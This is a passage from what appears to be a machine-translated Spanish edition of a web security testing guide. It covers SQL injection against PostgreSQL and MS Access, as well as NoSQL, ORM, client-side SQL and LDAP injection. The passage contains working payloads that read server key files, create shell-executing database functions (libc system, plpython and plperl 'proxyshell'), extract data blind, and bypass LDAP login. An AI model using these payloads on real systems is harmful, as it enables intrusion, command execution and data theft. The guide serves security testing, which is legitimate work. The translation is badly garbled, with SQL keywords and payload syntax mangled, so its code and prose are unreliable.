/ store.php?id =1 UNION ALL SELECT NULL, NULL, max ( id):: texto FROM file_store LIMIT 1 OFFSET
1;--
/ store.php?id =1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;- -
...
...
pg_read_ archivo ( )
Este función era introducido en PostgreSQL 8.1 y permite uno a leer archivos arbitrarios ubicados
dentro de los datos DBMS
directorio .
Ejemplo
SELECCIONE pg_read_file ('servidor.clave', 0,1000);
Escribiendo a un archivo
Por revirtiendo la declaración COPY , podemos escribir al sistema de archivos local con los postgres
usuario derechos
/ store.php?id =1; COPIAR file_store (datos) A '/ var / lib / postgresql / copy_output '--
Inyección de concha
PostgreSQL proporciona un mecanismo a agregar costumbre funciones por usando Tanto la

biblioteca dinámica como los lenguajes de scripting.
como Python , Perl y Tcl .
Biblioteca dinámica
Hasta PostgreSQL 8.1 , era posible a agregar una costumbre función vinculado con libc :
CREAR FUNCIÓN sistema ( cstring ) DEVUELVE int AS '/ lib /libc.so.6', ' system ' IDIOMA 'C'
ESTRICTO
Desde sistema devoluciones un En t cómo podemos buscar resultados del sistema salida
estándar ?
aquí hay un poco truco :
crear una tabla de salida estándar : CREAR TABLA salida estándar ( id de serie, salida_sistema)
texto )
ejecutando un shell dominio redireccionando es salida estándar : SELECCIONAR sistema (' uname -
a > / tmp /test')
declaraciones COPY a empujar la salida de anterior comando en la tabla stdout : COPIAR stdout
( system_out ) DESDE
'/ tmp /prueba*'
recuperar la salida de stdout : SELECCIONAR system_out DESDE stdout
Ejemplo
/ store.php?id =1; CREAR TABLA salida estándar ( id de serie, salida_sistema) texto ) --

/store.php ?
identificación=1; CREAR FUNCIÓN sistema ( cstring ) DEVUELVE int AS '/ lib /libc.so.6','system'
IDIOMA 'C'
ESTRICTO --
/ store.php?id =1; SELECCIONAR sistema ( ' uname -a > / tmp /test') --
/ store.php?id =1; COPIAR salida estándar ( salida_sistema ) DESDE '/ tmp /prueba' --
/ store.php?id =1 UNIÓN TODO SELECCIONAR NULO,
(SELECCIONE system_out DESDE stdout ORDEN POR id DESC ), LÍMITE NULO 1 COMPENSACIÓN 1--
269
plpython
PL/Python permite usuarios a codificar funciones PostgreSQL en Python . Es No es de confianza ,

así que hay no hay manera a restringir qué usuario
puede hacer. Es no instalado de forma predeterminada y se puede habilitar en un dado base de

datos por CREATELANG
Controlar si PL/Python ha sido activado en una base de datos : SELECCIONE el recuento ( *) DESDE
pg_language DONDE
nombre de idioma =' plpythonu '
Si no , intenta habilitar : CREAR IDIOMA plpythonu
Si cualquiera de los anteriores tuvo éxito , cree un shell proxy función : CREAR FUNCIÓN proxyshell
( texto ) DEVUELVE texto
AS ' importar sistema operativo; devolver os.popen ( argumentos [0]). leer () 'IDIOMA plpythonu
Tener divertido con : SELECT proxyshell ( comando del sistema operativo );
Ejemplo
Crear un shell proxy función : / store.php?id =1; CREAR FUNCIÓN proxyshell ( texto ) DEVUELVE
texto COMO ' importar '
sistema operativo;volver os.popen ( argumentos [0]). leer ()' IDIOMA plpythonu ;--
Ejecute un comando del sistema operativo : / store.php?id =1 UNION ALL SELECT NULL, proxyshell
(' whoami '), NULL OFFSET 1;- -
plperl
plperl permite a nosotros a código de funciones PostgreSQL en perl . Normalmente , es instalado

como confiable idioma en orden a desactivar
tiempo de ejecución ejecución de operaciones eso interactuar con el subyacente operando
sistema , como abierto . Por al hacerlo , es
imposible a ganar nivel de sistema operativo acceso . Para exitosamente inyectar un proxyshell
como función , nosotros necesidad a instalar el que no es de confianza
versión de postgres usuario , a evitar los llamados solicitud mascarilla filtración de confiable / no
confiable operaciones .
Controlar si PL/ perl-untrusted ha sido habilitado : SELECCIONE el recuento ( *) DESDE

pg_language DONDE lanname =' plperlu '
Si no , suponiendo eso sysadm ya lo ha hecho instalado el plperl paquete , intente: CREAR IDIOMA
plperlu
Si cualquiera de los anteriores tuvo éxito , cree un shell proxy función : CREAR FUNCIÓN proxyshell
( texto ) DEVUELVE texto
AS ' abierto( FD,"$_[0] |"); devolver unirse ("",<FD>);' IDIOMA plperlu
Tener divertido con : SELECT proxyshell ( comando del sistema operativo );
Ejemplo
Crear un shell proxy función : / store.php?id =1; CREAR FUNCIÓN proxyshell ( texto ) DEVUELVE
texto COMO
' abierto( FD,"$_[0] |"); devolver unirse ("",<FD>);' IDIOMA plperlu ;
Ejecute un comando del sistema operativo : / store.php?id =1 UNION ALL SELECT NULL, proxyshell
(' whoami '), NULL OFFSET 1;- -
Referencias
Inyección SQL Prevención Engañar Hoja
Oficial de PostgreSQL Documentación
Bernardo Damele y Daniele Bellucci: sqlmap , una inyección SQL ciega herramienta
270
Pruebas para MSAcceso
Resumen
Como se explica en la inyección SQL genérica sección , inyección SQL vulnerabilidades ocurrir
cuando sea la entrada proporcionada por el usuario es
usado durante la construcción de una consulta SQL sin ser adecuadamente constreñido o
desinfectado . Este clase de
vulnerabilidades permite un agresor a ejecutar código SQL bajo los privilegios del usuario eso es
usado a conectar hacia
base de datos . En esto sección , inyección SQL relevante técnicas eso utilizar específico
características de Microsoft Access será
discutido .
Cómo Probar
Toma de huellas dactilares
Tomando huellas dactilares de lo específico base de datos tecnología mientras probando con
tecnología SQL solicitud es el primer paso para adecuadamente
culos potencial vulnerabilidades . Una común acercarse involucra inyectando inyección SQL
estándar ataque patrones ( por ej .
comillas simples , dobles cotización ,…) en orden a desencadenar base de datos excepciones .
Asumiendo que la aplicación hace no manejar
excepciones con costumbre páginas , es es posible a huella digital del DBMS subrayado por
observar mensajes de error .
Dependiente en la tecnología web específica usado , impulsado por MS Access aplicaciones

voluntad responder con uno de los siguientes
errores :
Error fatal: no detectado excepción ' com_exception ' con mensaje Fuente : Base de datos
Microsoft JET Motor
Base de datos Microsoft JET Error del motor '80040e14'
Base de datos de acceso a Microsoft Office Motor
En todos los casos, nosotros tener una confirmación eso eran pruebas un solicitud utilizando la
base de datos MS Access .
Pruebas básicas
Desafortunadamente , MS Access no apoyo típico operadores que son tradicionalmente usado

durante la inyección SQL pruebas ,
incluido :
Sin comentarios caracteres

sin apilar consultas
Sin operador LIMIT
No hay SUEÑO ni BENCHMARK por igual operadores
Y muchos otros
Sin embargo , es posible a emular aquellos funciones por combinatorio múltiple operadores o por
usando alternativa
técnicas . Como se mencionó , es no posible para usar el truco de insertando los caracteres / * , --
o # en orden a
truncar la consulta . Sin embargo , afortunadamente podemos evitar esto . limitación por
inyectando un carácter ' nulo ' . Usando un byte nulo
%00 dentro de una consulta SQL da como resultado que MS Access ignore todo restante
caracteres . Esto se puede explicar por considerando
eso todo las cadenas tienen terminación NULL en el interno representación usado por la base de
datos . Él es valer mencionando que el
nulo El personaje a veces puede causar problemas. también como eso puede truncar cadenas en
el nivel del servidor web . En esos situaciones ,
podemos sin embargo emplear otro carácter : 0x16 (% 16 en URL codificada formato ).
Considerando lo siguiente consulta :
271
SELECCIONE [ nombre de usuario ], [ contraseña ] DE los usuarios DONDE [ nombre de usuario ] =

'$ mi nombre de usuario ' Y [ contraseña ] = ' $ mi contraseña '
Podemos truncar la consulta . con lo siguiente dos URL :
http://www.example.com/page.asp?user=admin'%00&pass=foo
http://www.example.com/page.app?user=admin'%16&pass=foo
operador LÍMITE es no implementado en MS Access, sin embargo él es posible a limitar el número

de resultados por utilizando el
Operadores PRINCIPALES o ÚLTIMOS en cambio .
http://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+nombre+FROM+appsTable%00
Por combinatorio ambos operadores , es es posible a seleccionar específico resultados . Cadena

concatenación es posible por usando & (%26)
y + (%2b) caracteres .
También hay muchos otro funciones eso puede ser usado mientras probar la inyección SQL ,
incluyendo pero no limitado a :
ASC: Obtener el valor ASCII de un personaje pasado como entrada
CHR: Obtener el personaje del valor ASCII pasado como entrada
LEN: Devuelve la longitud de la cuerda pasado como parámetro
IIF: ¿Es la construcción IF , por ejemplo el siguiente declaración IIF( 1=1, 'a', 'b') devuelve a
MEDIO: Este función permite tú a extracto subcadena , para ejemplo el siguiente declaración mid
('abc',1,1) devuelve un
ARRIBA: Esto función permite tú a especificar el máximo número de resultados que la consulta
debería regresar desde la cima.
Para ejemplo TOP 1 será devolver solo 1 fila .
ÚLTIMO: Este función es usado a seleccionar solo el ultimo fila de un conjunto de filas . Para
ejemplo el siguiente consulta SELECCIONAR
último ( *) DE usuarios voluntad devolver solo el ultimo fila del resultado .
Alguno de estos Los operadores son esenciales. a explotar Inyecciones SQL ciegas . Para otro
avanzado operadores , por favor referirse hacia
documentos en las referencias .
Atributos Enumeración
En orden a enumerar la columna de una tabla de base de datos , es posible utilizar un error común
basado en técnica . En breve,
podemos obtener los atributos nombre por Analizar mensajes de error y repetir la consulta. con
diferente selectores . Para
ejemplo , suponiendo eso nosotros conocer la existencia de una columna , también podemos
obtener el nombre del resto atributos
con lo siguiente consulta :
' GRUPO POR Id%00
En el mensaje de error recibido es posible para observar el nombre del próximo columna . En esto
punto , podemos iterar el
método hasta nosotros obtener el nombre de todo atributos . Si nosotros no saber el nombre del
primero atributo , todavía podemos insertar un
ficticio columna nombre y obtener el nombre del primero atributo dentro del mensaje de error .
Obtención Base de datos Esquema

Varios existen tablas del sistema de forma predeterminada en MS Access que puede ser
potencialmente usado a obtener nombres de tablas y columnas .
Desafortunadamente , en la configuración predeterminada de base de datos reciente de MS

Access lanzamientos , estas tablas no son accesible .
Sin embargo , es siempre valer intentando :
MSysObjetos
MSysACE
MSysAccessXML
Para Por ejemplo , si se trata de una inyección SQL de unión vulnerabilidad existe , puedes usar lo
siguiente consulta :
'UNION SELECT Nombre DE MSysObjects DONDE Tipo = 1%00
272
Alternativamente , es siempre posible a fuerza bruta la base de datos esquema por usando una
lista de palabras estándar ( por ejemplo , FuzzDb ).
En algunos casos, los desarrolladores o sistema los administradores no darse cuenta eso
incluyendo el real. archivo mdb dentro del
solicitud webroot puede permitir a descargar el completo base de datos . Base de datos los
nombres de archivos se pueden inferir con lo siguiente
consulta :
http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00
dónde nombre es el . mdb El nombre del archivo y la tabla son válidos . tabla de base de datos . En
caso de contraseña protegido bases de datos ,
Se pueden utilizar múltiples utilidades de software . para descifrar la contraseña . Por favor
referirse a las referencias .
Inyección SQL ciega Pruebas
Inyección SQL ciega las vulnerabilidades no son de ninguna manera las más fácilmente inyecciones
SQL explotables mientras probando la vida real
aplicaciones . En caso de reciente versiones de MS Access , es también no factible a ejecutar

caparazón comandos o leer escribir
archivos arbitrarios .
En caso de Inyecciones SQL ciegas , el atacante sólo puede inferir el resultado de la consulta por
evaluando las diferencias horarias o
de la aplicación . Él es supuesto que el lector ya conoce la teoria detrás inyección SQL ciega
ataques , como
el restante parte de este sección voluntad enfocar en MS Access específico detalles .
La siguiente ejemplo es usado :
http://www.example.com/index.php?myId=[sql]
donde el parámetro ID es usado dentro de lo siguiente consulta :
SELECCIONAR * DE pedidos DONDE [id]=$ myId
vamos considere el myId parámetro vulnerable a Inyección SQL ciega . como un atacante ,
nosotros desear a extraer el contenido de
columna nombre de usuario en la tabla usuarios , asumiendo eso nosotros tener ya reveló la base
de datos esquema .
un tipico consulta eso puede ser usado a inferir el primero personaje del nombre de usuario de las
10 filas es :
http://www.example.com/index.php?
id=IIF((select%20MID( LAST( nombre de usuario),1,1)%20from%20(select%20TOP

%2010%20username%20from%20users)='a',0,'n
o')
si el primero personaje es a, la consulta voluntad devolver 0 o de lo contrario, la cadena no.
Por usando una combinación de las funciones IFF, MID, LAST y TOP , es posible a extraer el
primero personaje del
nombre de usuario en un específicamente seleccionado fila . como el interior consulta devuelve un

conjunto de registros , y no justo uno , eso es no posible
para usarlo directamente . Afortunadamente , podemos combinar múltiples funciones a extraer un

específico cadena .
vamos asumir eso nosotros desear a recuperar el nombre de usuario de la décima fila . Primero ,
podemos usar la función SUPERIOR. a seleccione el primero
diez filas usando lo siguiente consulta :
SELECCIONE LOS 10 PRINCIPALES nombres de usuario DE los usuarios
Luego , usando este subconjunto , podemos extraer el último fila por usando la ÚLTIMA función .
Una vez que nosotros tener solo uno fila y exactamente
La fila que contiene nuestro string , podemos usar las funciones IFF, MID y LAST a inferir el valor
real del nombre de usuario . En
nuestro ejemplo , nosotros emplear IFF para devolver un número o una cuerda . Usando este truco
, podemos distinguir si nosotros tener un verdadero
respuesta o no , por observando respuestas de error de la aplicación . como es la identificación

numérico , la comparación con una cuerda resulta en un
Error de SQL que puede ser potencialmente filtrado por 500 páginas de errores internos del
servidor . De lo contrario , una página estándar de 200 OK
será probable regresó .
Para ejemplo , podemos tener lo siguiente consulta :
273
http://www.example.com/index.php?
id='%20AND%201=0%20OR%20'a'=IIF((select%20MID( LAST( nombre de usuario),1,1)%20from

%20(select%20TOP%2010%20username%
20de%20usuarios ))= ' a','a','b ')%00
eso es VERDADERO si el primero personaje es 'a' o falso en caso contrario .
Como se mencionó , este método permite a inferir el valor de arbitrario instrumentos de cuerda
dentro de la base de datos :
1. Por intentando todo imprimible valores , hasta nosotros encontrar una coincidencia
2. Por infiriendo la longitud de la cuerda usando la función LEN , o por simplemente parando
después de nosotros tener encontró todo
caracteres
Basado en el tiempo Las inyecciones SQL ciegas también son posible por Abusar de consultas
pesadas .
Referencias
Inyección SQL de MS Access Cheetah hoja
Acceso a través del acceso - Brett Moore
la inyección SQL - Brett Moore
Acceso MS: Funciones
Microsoft Access-Wikipedia
274
Pruebas para inyección NoSQL
Resumen
Bases de datos NoSQL proporcionar más flojo consistencia restricciones que Bases de datos SQL
tradicionales . Por requiriendo menos relacional
restricciones y coherencia comprobaciones , bases de datos NoSQL a menudo ofrecer rendimiento

y escalamiento beneficios . Todavía estos
las bases de datos todavía están potencialmente vulnerable a inyección ataques , incluso si ellos
no lo son utilizando la sintaxis SQL tradicional .
Porque estas inyecciones NoSQL ataques puede ejecutar dentro de un lenguaje procesal , más
bien que en el SQL declarativo
El lenguaje , el potencial. los impactos son mayores que Inyección SQL tradicional .
Base de datos NoSQL Las llamadas están escritas en el archivo de la aplicación. programación
idioma , una llamada API personalizada o formateado
de acuerdo a a un común convención ( como XML, JSON, LINQ, etc. ) . Entradas maliciosas dirigidas
a aquellos especificaciones
puede no desencadenar principalmente solicitud desinfección cheques . Para ejemplo , filtrado

afuera HTML especial común
caracteres como < > & ; voluntad no prevenir ataques contra una API JSON, donde especial
caracteres incluir / { } : .
Están ahora más de 150 bases de datos NoSQL disponible para uso dentro un aplicación ,
proporcionando API en una variedad de
idiomas y relaciones modelos . Cada ofertas diferente características y restricciones . Porque allá
es no es común
idioma entre ellos , ejemplo inyección código voluntad no aplicar al otro lado de todas las bases de
datos NoSQL . Para este razón , cualquiera
pruebas para inyección NoSQL ataques voluntad necesidad a familiarizar ellos mismos con la
sintaxis , el modelo de datos y el subyacente
programación idioma en orden a artesanía específico pruebas .
Inyección NoSQL ataques puede ejecutar en diferentes áreas de un solicitud que Inyección SQL
tradicional . Donde SQL
inyección haría ejecutar dentro de la base de datos motor , variantes NoSQL puede ejecutar
durante dentro de la aplicación capa o
la base de datos capa , dependiendo sobre la API NoSQL utilizada y el modelo de datos .
Normalmente inyección NoSQL ataques voluntad ejecutar
donde el ataque cadena es analizado , evaluado o concatenado en una llamada API NoSQL .
Ataques de sincronización adicionales puede ser relevante a la falta de concurrencia cheques

dentro de una base de datos NoSQL . Estos no son
cubierto bajo inyección pruebas . En el momento de escribir MongoDB es lo más ampliamente usó
la base de datos NoSQL , y así todo
ejemplos voluntad cuentan con API de MongoDB .
Cómo Probar
Pruebas para inyección NoSQL Vulnerabilidades en MongoDB
La API de MongoDB espera llamadas BSON ( JSON binario ) e incluye una consulta BSON segura
asamblea herramienta . Sin embargo ,
de acuerdo a a la documentación de MongoDB : se permiten expresiones JSON y JavaScript no

serializadas en varios
consulta alternativa parámetros . lo mas comúnmente llamada API usada permitiendo La entrada
arbitraria de JavaScript es $ donde
operador .
El MongoDB $ donde operador típicamente es utilizado como un filtro simple o comprobar , como
es es dentro de SQL.
db.myCollection.find ( { $ donde : " this.credits `` ``==`` `` this.debits " } );
Opcionalmente JavaScript es también evaluado a permitir más avanzado condiciones .
db.myCollection.find ( { $ donde : función () { retorno obj.créditos - obj.débitos < 0; } } );
Ejemplo 1
Si un agresor eran capaz a manipular los datos pasados en el $ donde operador , que agresor
podría incluir arbitrario
JavaScript para ser evaluado como parte de la consulta MongoDB . Un ejemplo vulnerabilidad es
expuesto en el siguiente código , si
la entrada del usuario es aprobado directamente en la consulta de MongoDB sin higienización .
db.myCollection.find ( { activo: verdadero, $ donde : función () { retorno obj.créditos - obj.débitos

<$ userInput ;
} } );;
275
Al igual que con pruebas otro tipos de inyección , una hace no necesidad a completamente
explotar la vulnerabilidad a demostrar un problema . Por
inyectando especial caracteres importante al lenguaje API de destino y observando los resultados ,
un evaluador puede determinar si el
solicitud correctamente Sanitizó la entrada. Para ejemplo dentro de MongoDB, si una cadena que
contiene cualquier de los siguientes especial
caracteres eran aprobado no desinfectado , haría desencadenar un error de base de datos .
'"\;{}
Con la inyección SQL normal , una vulnerabilidad similar haría permitir un agresor a ejecutar
comandos SQL arbitrarios -
exposición o manipular datos a voluntad . Sin embargo , debido a que JavaScript es

completamente presentado idioma , no solo hace este
permitir un agresor a manipular datos, pero también correr arbitrariamente código . Para
ejemplo , en lugar de de justo causando un error cuando
pruebas , un exploit completo usaría el especial caracteres a artesanía JavaScript válido .
Esta entrada 0;var date=new Date(); do{ curDate = new Date();} mientras ( curDate -date<10000)
insertado en
$ entrada de usuario en lo anterior ejemplo código haría resulta en la siguiente función de

JavaScript ser ejecutado . Este específico
ataque cadena encasillaría toda la instancia de MongoDB a ejecutar al 100% de uso de CPU
durante 10 segundos .
función ( ) { retorno obj.credits - obj.debits < 0;var fecha=nueva fecha(); hacer{ curDate = nuevo
Fecha() ;} mientras ( curDate -date<10000); }
Ejemplo 2
Incluso si la entrada utilizada dentro consultas es completamente desinfectado o parametrizado ,

hay es un alterno camino en el que uno
podría desencadenar la inyección NoSQL . Muchas instancias NoSQL tener su propio nombres de
variables reservadas , independientes del
solicitud programación idioma .
Para ejemplo dentro de MongoDB, el $ donde sintaxis sí mismo es un reservado consulta operador
. Él necesidades ser pasado en el
consulta exactamente como se muestra ; cualquier modificación provocaría un error en la base de

datos . Sin embargo , porque $ donde es también un PHP válido
nombre de la variable , puede ser posible para un agresor a insertar código en la consulta por
creando una variable PHP llamada
$ donde . La documentación de PHP MongoDB explícitamente advierte desarrolladores :
Por favor hacer seguro eso para todo especial consulta operadores ( comenzando con $ ) usas
comillas simples para que PHP no intente
reemplazar $ existe con el valor de la variable $ existe .
Incluso si una consulta no dependía de ninguna entrada del usuario , como la siguiente ejemplo ,
un agresor podría explotar MongoDB por
reemplazando al operador con datos maliciosos .
db.myCollection.find ( { $ donde : función () { retorno obj.créditos - obj.débitos < 0; } } );
Uno forma a potencialmente asignar datos a variables PHP es a través del parámetro HTTP
Contaminación ( ver : Pruebas para el parámetro HTTP
contaminación ). Por creando una variable llamada $ donde a través de parámetro

contaminación , uno podría desencadenar un error de MongoDB que indica
que la consulta ya no es válido . Cualquier valor de $ donde otro que la cadena $ donde en sí
mismo , debería satisfacer a demostrar
vulnerabilidad . Un agresor haría desarrollar un exploit completo por insertando lo siguiente :
$ donde : función ( ) { // JavaScript arbitrario aquí }
Referencias
Inyección Cargas útiles
Inyección carga útil lista de palabras con ejemplos de inyección NoSQL para MongoDB
Libros blancos
Bryan Sullivan de Adobe: “ Inyección de JavaScript del lado del servidor ”
Bryan Sullivan de Adobe: “NoSQL, pero Incluso Menos seguridad”
Erlend de Bekk Consultoría : “[Seguridad] NOSQL- inyección ”
Felipe Aragón de Syhunt : “ Inyección NoSQL/SSJS ”
Documentación de MongoDB : “ Cómo ¿ MongoDB aborda SQL o Consulta ¿ inyección ?”
276
Documentación PHP : “ MongoCollection :: buscar ”
Hackear NodeJS y MongoDB

Agresor NodeJS y MongoDB
277
Pruebas para inyección ORM
Resumen
Objeto Relacional Inyección de mapeo (ORM) es un ataque usando inyección SQL contra un acceso
a datos generado por ORM
objeto modelo . Desde el punto de vista de un probador , este ataque es virtualmente idéntico a
una inyección SQL ataque . Sin embargo , el
inyección vulnerabilidad existe en el código generado por la capa ORM .
Los beneficios de usando una herramienta ORM incluir rápido generación de un objeto capa a
comunicar a un relacional base de datos ,
estandarizar código plantillas para estos objetos , y que ellos generalmente proporcionar un
conjunto de seguro funciones a proteger contra
Inyección SQL ataques . ORM generado Los objetos pueden usar SQL o , en algunos casos, una
variante . de SQL, para realizar CRUD
Operaciones ( Crear , Leer , Actualizar , Eliminar ) en una base de datos . Él es posible , sin embargo
, para una aplicación web usando ORM
generado objetos ser vulnerable a la inyección SQL ataques si los métodos pueden aceptar
parámetros de entrada no saneados .
Cómo Probar
Las capas ORM pueden ser propensas a vulnerabilidades , ya que extender la superficie de ataque .
En cambio de apuntando directamente a la
solicitud con consultas SQL , te concentrarías en abusando de la capa ORM a enviar consultas SQL
maliciosas .
Identificar la capa ORM
Para probar y comprender eficientemente ¿Qué está pasando entre su solicitudes y el backend
consultas , y al igual que con
todo relacionado a conductible adecuado probando , es es básico a identificar la tecnología ser

usado . Por siguiendo el
información reunión capitulo , tu Deberías ser consciente de la tecnología ser usado por la
aplicación en cuestión . Controlar
este lista cartografía idiomas a sus respectivos ORM .

Abusar de la capa ORM
Después de identificar el posible ORM que se está usado , es se convierte básico a entender cómo
es analizador es funcionamiento , y
estudiar métodos abusar de él , o incluso tal vez si la aplicación es usando un viejo versión ,
identificar CVE perteneciente hacia
biblioteca ser usado . A veces , las capas ORM no son adecuadamente implementado y por lo
tanto permitir para el probador a conducta
Inyección SQL normal , sin preocupante sobre la capa ORM .
Implementación ORM débil
Un escenario vulnerable donde la capa ORM era no implementado correctamente , tomado de

SANS:
Lista resultados = session.createQuery ("de Pedidos como pedidos dónde pedidos.id = " +
ordenactual.getId () ). lista ();
Lista resultados = session.createSQLQuery (" Seleccione * de Libros dónde autor = " +
libro.getAuthor ()). lista ();
Lo anterior no implementar el posicional parámetro , que permite al desarrollador a reemplazar la

entrada con a ? . Un
ejemplo sería como tal :
Consulta hqlQuery = session.createQuery ("de Pedidos como pedidos dónde pedidos.id = ?");
Lista resultados = hqlQuery.setString (0, "123-ADB-567-QTWYTFDL" ). lista (); // 0 es la primera

posición,
dónde él es dinamicamente reemplazado por el conjunto de cuerdas
Este implementación sale de la validación y sanitización ser realizado por la capa ORM , y el único
forma para evitarlo
sería por identificando un asunto con la capa ORM .
Capa ORM vulnerable
278
Las capas ORM son código de terceros . bibliotecas mayoría del tiempo. Pueden ser vulnerables
simplemente como cualquier otro pedazo de código .
Uno ejemplo podría ser el ORM npm secuela biblioteca cual era encontró vulnerables en 2019. En
otro investigación
realizado por RIPS Tech , evita eran identificado en el ORM de hibernación utilizado por Java.
Basado en el artículo de su blog , un truco hoja eso podría permitir al probador a identificar
asuntos podría resumirse de la siguiente manera :
Inyección SQL DBMS
MySQL abc \' EN OUTFILE --
PostgreSQL `$$='$$= chr ( 61)
Oracle NVL( TO_CHAR( DBMS_XMLGEN.getxml (' seleccione 1 donde 1337>1')),'1')!='1'
MS SQL 1<LEN(%C2%A0(seleccione%C2%A0top%C2%A01%C2%A0nombre%C2%A0de
%C2%A0usuarios)
Otro ejemplo haría incluye Laravel Query-Builder , que era encontró vulnerables en 2019.
Referencias
Wikipedia-ORM
Nuevos métodos para Explotación de inyecciones ORM en aplicaciones Java (HITB16)
Diapositivas HITB2016 : Inyecciones ORM en aplicaciones Java ]
Arreglando la inyección SQL : ORM es no suficiente
Carga útilAllTheThings - Inyección HQL
279
Pruebas para el lado del cliente
Resumen
Inyección SQL del lado del cliente ocurre cuando un solicitud implementa la base de datos web
SQL tecnología y no
adecuadamente validar la entrada ni parametrizar es variables de consulta . Este base de datos es

manipulado por usando JavaScript (JS)
Llamadas API , como openDatabase ( ) , que crea o abre un existente base de datos .
El siguiente escenario de prueba voluntad validar eso validación de entrada adecuada es

realizado . Si la implementación es vulnerable,
el atacante puede leer , modificar o borrar información almacenado dentro de la base de datos .
Cómo Probar
Identificar el uso de base de datos web SQL

Si la prueba solicitud implementa la base de datos Web SQL, lo siguiente tres llamadas se utilizará
en el lado del cliente centro :
abrirbase de datos ( )
transacción ( )
ejecutar SQL ( )
El código a continuación se muestra un ejemplo de la implementación de las API :
var db = openDatabase ( nombre corto , versión , nombre para mostrar , tamaño máximo );
db.transaction ( función ( transacción ) {
transacción.executeSql ('INSERTAR EN REGISTROS (hora, identificación, registro) VALORES (?, ?, ?)',

[ fechaHora , identificación,
registro]);
});
Inyección de base de datos SQL web
Después de confirmar el uso de ejecutarSQL ( ), el atacante es listo para probar y validar la

seguridad de es implementación .
bases de datos SQL web implementación es basado en SQLite sintaxis .
evitando Condiciones
La siguiente el ejemplo muestra cómo este podría ser explotado en el lado del cliente :
// Ejemplo de URL : https://example.com/user#15
var ID de usuario = documento.ubicación .hash.subcadena (1,); // Toma el ID sin el hash -> 15
db.transaction ( funcion ( transaccion ){
transacción.executeSQL ('SELECCIONAR * DE usuarios DONDE usuario = ' + ID de usuario );
});
Regresar información para todos los usuarios , en su lugar de solo el usuario correspondiente al
atacante , lo siguiente podría ser
utilizado : 15 O 1=1 en el fragmento de URL .
Para Inyección SQL adicional cargas útiles , ir a las pruebas para inyección SQL escenario .
Remediación
280
sigue lo mismo remediación de las pruebas para inyección SQL Remediación Sección .
Referencias
Base de datos web SQL del W3C
Tutorial de base de datos JavaScript de Apple
Tutorialspoint Base de datos SQL web HTML5
Inyección SQL del lado del cliente de Portswigger
281
Pruebas para inyección LDAP
IDENTIFICACIÓN
WSTG-INPV-06
Resumen
El peso ligero El protocolo de acceso a directorios (LDAP) es usado para almacenar información
acerca de usuarios , hosts y muchos más otro
objetos . Inyección LDAP es del lado del servidor ataque , que podría permitir información sensible
acerca de usuarios y hosts
representado en una estructura LDAP ser divulgado , modificado o insertado . Este esta hecho por
manipular los parámetros de entrada
después aprobado a interno buscar , agregar y modificar funciones .
aplicación web podría utilizar LDAP para a dejar usuarios autenticar o buscar otro información de
los usuarios dentro de una
corporativo estructura . La meta de inyección LDAP ataques es a inyectar búsqueda LDAP filtros
metacaracteres en una consulta cual
será ejecutado por la aplicación .
Rfc2254 define una gramática en cómo a construir una búsqueda filtrar en LDAPv3 y extiende
Rfc1960 (LDAPv2).
Una búsqueda LDAP filtrar es construido en polaco notación , también conocido como polaco
notación prefijo notación .
Este medio que un pseudocódigo condición en una búsqueda filtrar como este :
buscar ( " cn = John & contraseña de usuario = mi contraseña ")
se representará como :
buscar ("(&( cn = John)( contraseña de usuario = micontraseña ))")
Booleano condiciones y grupo agregaciones en una búsqueda LDAP filtrar podría aplicarse por
usando lo siguiente
metacaracteres :
Metacar Significado
& booleano Y
| booleano o
! Booleano NO
= Igual
~= Aprox.
>= Mayor que
<= Menos que
* Cualquier personaje
() Agrupación paréntesis
Ejemplos más completos en cómo a construir una búsqueda El filtro se puede encontrar en el RFC
relacionado .
Un éxito explotación de una inyección LDAP vulnerabilidad podría permitir al probador a :
Acceso no autorizado contenido
282
Evadir la aplicación restricciones
Recolectar no autorizado informaciones
Agregar o modificar Objetos dentro del árbol LDAP estructura .
Identificar la inyección LDAP puntos .
Evaluar la gravedad de la inyección .
Cómo Probar
Ejemplo 1: búsqueda Filtros
vamos suponer nosotros tener una aplicación web usando una búsqueda filtrar como el siguiente
uno :
filtro de búsqueda ="( cn ="+ usuario +")"
cual es instanciado por una solicitud HTTP como este :
http://www.example.com/ldapsearch?user=John
Si el valor de John es reemplazado con un * , por enviando la solicitud :
http://www.example.com/ldapsearch?user=*
el filtro se vera como :
filtro de búsqueda ="( cn =*)"
cual partidos cada objeto con un atributo ' cn ' es igual a cualquier cosa .
Si la aplicación es vulnerable a la inyección LDAP , voluntad mostrar alguno o todo del usuario
atributos , dependiendo sobre el
aplicaciones ejecución flujo y los permisos del LDAP conectado usuario .
un probador podría utilizar un enfoque de prueba y error , mediante insertando en el parámetro ( ,

| , & , * y el otro personajes , en
orden a comprobar la aplicación para errores .
Ejemplo 2: iniciar sesión
Si una aplicación web utiliza LDAP para controlar usuario cartas credenciales durante el inicio de
sesión proceso y es vulnerable a LDAP
inyección , es es posible para omitir la autenticación controlar por inyectando un consulta LDAP
siempre verdadera (de manera similar a
Inyección SQL y XPATH ) .
vamos supongamos que una aplicación web usa un filtro para coincidir con el usuario / contraseña
de LDAP par .
searchlogin = "(&(uid="+usuario+ ")( contraseña de usuario={md5}"+base64(pack("h*"md5(pass)))

+"))";
Por usando lo siguiente valores :
usuario = *)( uid =*))(|( uid =*
contraseña = contraseña
la búsqueda filtrar voluntad da como resultado:
searchlogin="(&(uid= *)( uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";
cual es correcto y siempre cierto. Este manera , el probador voluntad ganar estado de inicio de
sesión como el primero usuario en el árbol LDAP .
283
Herramientas
Navegador LDAP de Softerra
Referencias
Inyección LDAP Prevención Engañar Hoja
Libros blancos
Sacha Faust : Inyección LDAP : ¿Es tu ¿ Aplicaciones vulnerables?
Documento de IBM : Comprensión de LDAP
RFC 1960: una cadena Representación de búsqueda LDAP Filtros
Inyección LDAP
284
Pruebas para inyección XML
IDENTIFICACIÓN
WSTG-INPV-07
Resumen
Inyección XML pruebas es cuando un evaluador intenta inyectar un documento XML a la aplicación
. Si el analizador XML falla a contextualmente
validar los datos, entonces la prueba arrojar un resultado positivo .
Este La sección describe la práctica. ejemplos de Inyección XML . Primero , un estilo XML.
comunicación será definido y su
laboral principios explicado . Entonces , el descubrimiento método en el que tratamos de insertar

metacaracteres XML . Una vez que el primero
el paso es logrado , el probador voluntad tener alguno información sobre la estructura XML , por lo
